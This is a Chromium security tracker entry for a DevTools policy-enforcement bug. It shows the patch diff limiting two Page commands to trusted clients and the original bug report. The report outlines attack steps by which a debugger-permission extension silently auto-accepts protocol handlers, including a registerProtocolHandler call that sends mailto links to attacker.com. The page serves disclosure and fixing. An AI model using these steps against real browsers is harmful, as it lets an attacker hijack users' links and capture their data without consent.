Overview

Low
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInsufficient policy enforcement in DevTools
DescriptionInsufficient policy enforcement in DevTools
ComponentDevTools
Bug ClassLogic Error
Tracker496373088
Fix commitd283fa55777a (chromium/src) +20/-4
CISA KEVNot listed
CreditedGoogle
Disclosed2026-05-05

Changed Functions

FunctionChangeNotes
is_trusted_
chrome/browser/devtools/protocol/page_handler.cc
modified
if
chrome/browser/devtools/protocol/page_handler.cc
modified

Files Changed

  • chrome/browser/devtools/chrome_devtools_session.cc
  • chrome/browser/devtools/protocol/page_handler.cc
  • chrome/browser/devtools/protocol/page_handler.h
From d283fa55777a691531f3eceb8020dd890548e680 Mon Sep 17 00:00:00 2001
From: Danil Somsikov <dsv@chromium.org>
Date: Wed, 01 Apr 2026 01:21:37 -0700
Subject: [PATCH] Restrict Page.setSPCTransactionMode and Page.setRPHRegistrationMode to trusted DevTools clients

The experimental DevTools commands Page.setSPCTransactionMode and
Page.setRPHRegistrationMode lacked trust restrictions, allowing
untrusted DevTools clients (such as Chrome extensions with the
`debugger` permission) to automatically accept dialogs without user
interaction.

For Page.setSPCTransactionMode, this bypassed the primary UI where
users review transaction details (payee, amount) for Secure Payment
Confirmation (SPC), leaving only a generic OS-level biometric prompt
that lacks context and could potentially be exploited to authorize
tampered payments.

Similarly, Page.setRPHRegistrationMode could be exploited to silently
accept custom protocol handler registration prompts, bypassing user
consent.

Fixed: 496426191, 496373088
Change-Id: I49cafe716e5c81c3715f8bde30e579d4cc9a01b8
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7707756
Commit-Queue: Danil Somsikov <dsv@chromium.org>
Auto-Submit: Danil Somsikov <dsv@chromium.org>
Reviewed-by: Andrey Kosyakov <caseq@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1608355}
---

diff --git a/chrome/browser/devtools/chrome_devtools_session.cc b/chrome/browser/devtools/chrome_devtools_session.cc
index e01701b..07560364 100644
--- a/chrome/browser/devtools/chrome_devtools_session.cc
+++ b/chrome/browser/devtools/chrome_devtools_session.cc
@@ -61,7 +61,8 @@
     if (IsDomainAvailableToUntrustedClient<PageHandler>() ||
         channel->GetClient()->IsTrusted()) {
       page_handler_ = std::make_unique<PageHandler>(
-          agent_host, agent_host->GetWebContents(), &dispatcher_);
+          agent_host, agent_host->GetWebContents(), &dispatcher_,
+          channel->GetClient()->IsTrusted());
     }
     if (IsDomainAvailableToUntrustedClient<SecurityHandler>() ||
         channel->GetClient()->IsTrusted()) {
diff --git a/chrome/browser/devtools/protocol/page_handler.cc b/chrome/browser/devtools/protocol/page_handler.cc
index c5c79bf..bc3122f4 100644
--- a/chrome/browser/devtools/protocol/page_handler.cc
+++ b/chrome/browser/devtools/protocol/page_handler.cc
@@ -37,8 +37,11 @@
 
 PageHandler::PageHandler(scoped_refptr<content::DevToolsAgentHost> agent_host,
                          content::WebContents* web_contents,
-                         protocol::UberDispatcher* dispatcher)
-    : agent_host_(agent_host), web_contents_(web_contents->GetWeakPtr()) {
+                         protocol::UberDispatcher* dispatcher,
+                         bool is_trusted)
+    : agent_host_(agent_host),
+      web_contents_(web_contents->GetWeakPtr()),
+      is_trusted_(is_trusted) {
   protocol::Page::Dispatcher::wire(dispatcher, this);
 }
 
@@ -86,6 +89,11 @@
 
 protocol::Response PageHandler::SetSPCTransactionMode(
     const protocol::String& mode) {
+  if (!is_trusted_) {
+    return protocol::Response::ServerError(
+        "Permission denied: Page.setSPCTransactionMode requires a trusted "
+        "client");
+  }
   if (!web_contents_)
     return protocol::Response::ServerError("No web contents to host a dialog.");
 
@@ -117,6 +125,11 @@
   if (!web_contents_) {
     return protocol::Response::ServerError("No web contents to host a dialog.");
   }
+  if (!is_trusted_) {
+    return protocol::Response::ServerError(
+        "Permission denied: Page.setRPHRegistrationMode requires a trusted "
+        "client");
+  }
 
   custom_handlers::RphRegistrationMode rph_mode =
       custom_handlers::RphRegistrationMode::kNone;
diff --git a/chrome/browser/devtools/protocol/page_handler.h b/chrome/browser/devtools/protocol/page_handler.h
index 90b717f..4c2c12fc 100644
--- a/chrome/browser/devtools/protocol/page_handler.h
+++ b/chrome/browser/devtools/protocol/page_handler.h
@@ -31,7 +31,8 @@
  public:
   PageHandler(scoped_refptr<content::DevToolsAgentHost> agent_host,
               content::WebContents* web_contents,
-              protocol::UberDispatcher* dispatcher);
+              protocol::UberDispatcher* dispatcher,
+              bool is_trusted);
 
   PageHandler(const PageHandler&) = delete;
   PageHandler& operator=(const PageHandler&) = delete;
@@ -99,6 +100,7 @@
   base::WeakPtr<content::WebContents> web_contents_;
 
   bool enabled_ = false;
+  const bool is_trusted_;
 
   base::WeakPtrFactory<PageHandler> weak_ptr_factory_{this};
 };
Loading diff…

Original Bug Report

reported by vm...@google.com

Protocol handler hijacking via Page.setRPHRegistrationMode

Project Fortify, an experimental security project, has identified the following potential security issue.

Overview: An extension with the debugger permission can use the Page.setRPHRegistrationMode DevTools command to silently enable profile-wide automatic acceptance of protocol handler registrations. This allows the silent, persistent hijacking of sensitive URI schemes like mailto: without a user permission prompt. Furthermore, the auto-accept state is not reverted when the debugger detaches, leaving the browser vulnerable to silent hijacking by any website.

Affected files:

  • chrome/browser/devtools/protocol/page_handler.cc
  • chrome/browser/devtools/chrome_devtools_session.cc
  • chrome/browser/ui/browser.cc
  • components/custom_handlers/protocol_handler_registry.cc
  • chrome/browser/custom_handlers/protocol_handler_registry_factory.cc

Estimated timestamp from git blame: 2025-06-23

Description

There is a potential vulnerability in how the DevTools Page domain handles the SetRPHRegistrationMode command when invoked by untrusted clients (e.g., extensions using chrome.debugger). By setting the mode to autoAccept, a malicious extension can globally bypass the user permission prompt for navigator.registerProtocolHandler().

Because the underlying ProtocolHandlerRegistry is shared profile-wide, this bypass affects the entire browser profile. When a protocol handler is registered under this mode, it is permanently saved to the user’s disk preferences. Additionally, PageHandler::Disable() fails to reset this state, meaning the browser remains in an insecure state even after the extension detaches or is uninstalled, allowing any website to silently hijack protocol handlers until the browser is restarted.

Note: The following steps are suggested/potential, as our setup does not currently have the ability to run code to verify the exploit end-to-end.

Potential Attack Steps

  1. A malicious extension with the debugger permission is installed and uses chrome.debugger.attach to attach to a tab.
  2. The extension sends the Page.setRPHRegistrationMode command with mode: 'autoAccept'.
  3. The command is handled by PageHandler::SetRPHRegistrationMode (chrome/browser/devtools/protocol/page_handler.cc), which fetches the profile-wide ProtocolHandlerRegistry and sets its registration_mode_ to kAutoAccept.
  4. The extension executes JavaScript in the tab (e.g., via Runtime.evaluate with userGesture: true) to call navigator.registerProtocolHandler('mailto', 'https://attacker.com/?q=%s').
  5. The IPC request reaches Browser::RegisterProtocolHandler (chrome/browser/ui/browser.cc), which checks the registry’s registration_mode(). Seeing kAutoAccept, it bypasses the PermissionRequestManager and directly accepts the registration.
  6. The registration is saved to disk via ProtocolHandlerRegistry::Save(), making the hijack persistent across browser restarts.
  7. The extension detaches. PageHandler::Disable() (chrome/browser/devtools/protocol/page_handler.cc) is called but fails to reset the RphRegistrationMode (unlike SPCTransactionMode, which is properly reset).
  8. The profile remains stuck in kAutoAccept mode. Any arbitrary website the user visits can now silently register protocol handlers until the browser process is fully restarted.

Suggested Fix

  1. State Cleanup: Update PageHandler::Disable() in chrome/browser/devtools/protocol/page_handler.cc to explicitly reset the registration mode back to kNone, similar to how it handles SPC transaction modes:
    SetRPHRegistrationMode(protocol::Page::SetRPHRegistrationMode::ModeEnum::None);
    
  2. Scope Limitation: Consider whether untrusted DevTools clients (like extensions) should be permitted to alter profile-wide state like the ProtocolHandlerRegistry mode. It may be appropriate to restrict SetRPHRegistrationMode to trusted clients only, or ensure the mock mode only applies to the specific WebContents rather than the entire BrowserContext.

Evaluated with Chrome root at commit: 0eb4855bda702feaaa8b899336664f97e3df88b8


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. Please feel free to reach out to me if you have concerns or feedback.

View on issue tracker
Links in the report